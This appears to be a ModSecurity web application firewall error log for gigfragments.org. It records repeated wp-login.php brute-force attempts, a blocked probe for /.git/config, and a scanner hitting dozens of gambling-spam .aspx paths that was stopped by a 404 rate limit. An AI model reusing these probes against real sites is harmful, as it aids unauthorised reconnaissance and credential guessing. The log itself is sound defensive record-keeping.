[Sat Feb 28 14:21:45.103067 2026] [:error] [pid 39183:tid 39215] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJeRCf4HvhVePw3Lb1VAAAABc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:47.931440 2026] [:error] [pid 39183:tid 39203] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJexCf4HvhVePw3Lb1VwAAAAs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:49.340838 2026] [:error] [pid 39183:tid 39200] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJfRCf4HvhVePw3Lb1WAAAAAg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:52.665677 2026] [:error] [pid 39183:tid 39216] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJgBCf4HvhVePw3Lb1cgAAABg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:54.022959 2026] [:error] [pid 39183:tid 39198] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJghCf4HvhVePw3Lb1dQAAAAY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:56.979532 2026] [:error] [pid 39183:tid 39196] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJhBCf4HvhVePw3Lb1eAAAAAQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:58.317363 2026] [:error] [pid 39183:tid 39214] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJhhCf4HvhVePw3Lb1eQAAABY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:22:01.391773 2026] [:error] [pid 39183:tid 39205] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJiRCf4HvhVePw3Lb1ewAAAA0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:22:02.788811 2026] [:error] [pid 39183:tid 39208] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJihCf4HvhVePw3Lb1fAAAABA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:22:05.791218 2026] [:error] [pid 39183:tid 39195] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJjRCf4HvhVePw3Lb1gAAAAAM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:22:07.148495 2026] [:error] [pid 39183:tid 39215] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJjxCf4HvhVePw3Lb1gQAAABc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:22:10.288342 2026] [:error] [pid 39183:tid 39199] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJkhCf4HvhVePw3Lb1gwAAAAc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:22:11.708634 2026] [:error] [pid 39183:tid 39202] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJkxCf4HvhVePw3Lb1hQAAAAo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:22:14.606914 2026] [:error] [pid 39183:tid 39216] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJlhCf4HvhVePw3Lb1hwAAABg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:22:16.327810 2026] [:error] [pid 39183:tid 39209] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJmBCf4HvhVePw3Lb1iAAAABE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:22:19.275424 2026] [:error] [pid 39183:tid 39198] [client 176.65.132.19:50269] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJmxCf4HvhVePw3Lb1igAAAAY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:59:06.355305 2026] [:error] [pid 22194:tid 22220] [client 43.138.68.113:52890] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaKSOn6mbajs3bzQGytf3AAAAVg"]
[Sat Feb 28 15:28:21.597221 2026] [:error] [pid 52460:tid 52469] [client 179.43.191.19:42274] [client 179.43.191.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.43.191.19, incrementing brute counter"] [hostname "www.gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKZFbLWOogAgHGh62SYzgAAAYY"], referer: https://www.gigfragments.org/
[Sat Feb 28 15:28:47.444258 2026] [:error] [pid 39185:tid 39262] [client 179.43.191.19:39448] [client 179.43.191.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.43.191.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKZLxVE-FfM89u7BQZW-QAAAJA"], referer: https://gigfragments.org/
[Sat Feb 28 15:29:55.792185 2026] [:error] [pid 52460:tid 52482] [client 104.194.155.80:58956] [client 104.194.155.80] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aaKZc7LWOogAgHGh62SayQAAAZM"]
[Sat Feb 28 15:40:55.863556 2026] [:error] [pid 49763:tid 49772] [client 159.195.61.80:57634] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aaKcB7THSOG_yf2PpqG9EQAAAcY"]
[Sat Feb 28 15:40:57.842727 2026] [:error] [pid 49763:tid 49783] [client 159.195.61.80:46788] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aaKcCbTHSOG_yf2PpqG9HgAAAdE"]
[Sat Feb 28 15:40:59.716640 2026] [:error] [pid 39183:tid 39212] [client 159.195.61.80:46800] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aaKcCxCf4HvhVePw3LYJQwAAABQ"]
[Sat Feb 28 15:41:01.733566 2026] [:error] [pid 39184:tid 39223] [client 159.195.61.80:46806] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aaKcDVtZF9Zd_U7easAB0wAAAEQ"]
[Sat Feb 28 15:41:03.753163 2026] [:error] [pid 49763:tid 49777] [client 159.195.61.80:46820] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aaKcD7THSOG_yf2PpqG9cQAAAcs"]
[Sat Feb 28 15:41:05.747972 2026] [:error] [pid 39183:tid 39202] [client 159.195.61.80:34032] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aaKcERCf4HvhVePw3LYJXQAAAAo"]
[Sat Feb 28 15:41:07.758953 2026] [:error] [pid 11791:tid 11800] [client 159.195.61.80:34046] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aaKcE2uX5e1Q32gqxH1pGAAAAQc"]
[Sat Feb 28 15:41:09.629731 2026] [:error] [pid 39184:tid 39239] [client 159.195.61.80:34056] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aaKcFVtZF9Zd_U7easAB2wAAAFQ"]
[Sat Feb 28 15:41:11.634285 2026] [:error] [pid 39184:tid 39226] [client 159.195.61.80:34072] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aaKcF1tZF9Zd_U7easAB5gAAAEc"]
[Sat Feb 28 15:41:13.649976 2026] [:error] [pid 39184:tid 39236] [client 159.195.61.80:34084] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aaKcGVtZF9Zd_U7easAB8QAAAFE"]
[Sat Feb 28 15:41:15.661843 2026] [:error] [pid 49763:tid 49790] [client 159.195.61.80:55760] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aaKcG7THSOG_yf2PpqG98AAAAdg"]
[Sat Feb 28 15:41:17.644949 2026] [:error] [pid 39185:tid 39255] [client 159.195.61.80:55766] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aaKcHRVE-FfM89u7BQZdzAAAAIk"]
[Sat Feb 28 15:41:19.645775 2026] [:error] [pid 52460:tid 52479] [client 159.195.61.80:55782] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aaKcH7LWOogAgHGh62Sf_gAAAZA"]
[Sat Feb 28 15:41:21.654017 2026] [:error] [pid 49763:tid 49777] [client 159.195.61.80:55792] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aaKcIbTHSOG_yf2PpqG-EAAAAcs"]
[Sat Feb 28 15:41:23.668632 2026] [:error] [pid 11791:tid 11799] [client 159.195.61.80:55798] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aaKcI2uX5e1Q32gqxH1pLQAAAQY"]
[Sat Feb 28 15:41:25.669331 2026] [:error] [pid 39184:tid 39234] [client 159.195.61.80:38302] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aaKcJVtZF9Zd_U7easACCQAAAE8"]
[Sat Feb 28 15:41:27.657314 2026] [:error] [pid 39184:tid 39223] [client 159.195.61.80:38312] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aaKcJ1tZF9Zd_U7easACGgAAAEQ"]
[Sat Feb 28 15:41:29.648437 2026] [:error] [pid 39292:tid 39315] [client 159.195.61.80:38318] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aaKcKaIAO5fN7BxyqcEIdwAAANU"]
[Sat Feb 28 15:41:31.642743 2026] [:error] [pid 49763:tid 49777] [client 159.195.61.80:38330] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aaKcK7THSOG_yf2PpqG-YQAAAcs"]
[Sat Feb 28 15:41:33.629637 2026] [:error] [pid 11791:tid 11809] [client 159.195.61.80:38332] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaKcLWuX5e1Q32gqxH1pMgAAARA"]
[Sat Feb 28 15:41:35.623678 2026] [:error] [pid 11791:tid 11796] [client 159.195.61.80:35282] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaKcL2uX5e1Q32gqxH1pOgAAAQM"]
[Sat Feb 28 15:41:37.617439 2026] [:error] [pid 52460:tid 52487] [client 159.195.61.80:35294] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aaKcMbLWOogAgHGh62SgBwAAAZg"]
[Sat Feb 28 15:41:39.607899 2026] [:error] [pid 39184:tid 39240] [client 159.195.61.80:35306] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aaKcM1tZF9Zd_U7easACSgAAAFU"]
[Sat Feb 28 15:41:41.438008 2026] [:error] [pid 39184:tid 39230] [client 159.195.61.80:35318] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aaKcNVtZF9Zd_U7easACVAAAAEs"]
[Sat Feb 28 15:41:43.422790 2026] [:error] [pid 49763:tid 49788] [client 159.195.61.80:35326] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aaKcN7THSOG_yf2PpqG_AwAAAdY"]
[Sat Feb 28 15:41:45.405713 2026] [:error] [pid 39292:tid 39304] [client 159.195.61.80:39614] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aaKcOaIAO5fN7BxyqcEIsgAAAMo"]
[Sat Feb 28 15:41:47.250182 2026] [:error] [pid 52460:tid 52468] [client 159.195.61.80:39618] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aaKcO7LWOogAgHGh62SgCAAAAYU"]
[Sat Feb 28 15:41:49.242733 2026] [:error] [pid 39292:tid 39294] [client 159.195.61.80:39622] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aaKcPaIAO5fN7BxyqcEIuwAAAMA"]
[Sat Feb 28 15:41:51.232456 2026] [:error] [pid 39185:tid 39262] [client 159.195.61.80:39628] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aaKcPxVE-FfM89u7BQZd2AAAAJA"]
[Sat Feb 28 15:42:26.719511 2026] [:error] [pid 11791:tid 11798] [client 159.195.61.80:39642] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaKcYmuX5e1Q32gqxH1pbAAAAQU"]
[Sat Feb 28 15:42:28.659191 2026] [:error] [pid 49763:tid 49786] [client 159.195.61.80:46304] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aaKcZLTHSOG_yf2PpqG_vwAAAdQ"]
[Sat Feb 28 15:42:30.641098 2026] [:error] [pid 49763:tid 49778] [client 159.195.61.80:46306] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aaKcZrTHSOG_yf2PpqG_zwAAAcw"]
[Sat Feb 28 15:42:32.469968 2026] [:error] [pid 39185:tid 39256] [client 159.195.61.80:46316] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aaKcaBVE-FfM89u7BQZd5QAAAIo"]
[Sat Feb 28 15:42:34.452523 2026] [:error] [pid 39184:tid 39239] [client 159.195.61.80:56234] [client 159.195.61.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aaKcaltZF9Zd_U7easADEwAAAFQ"]
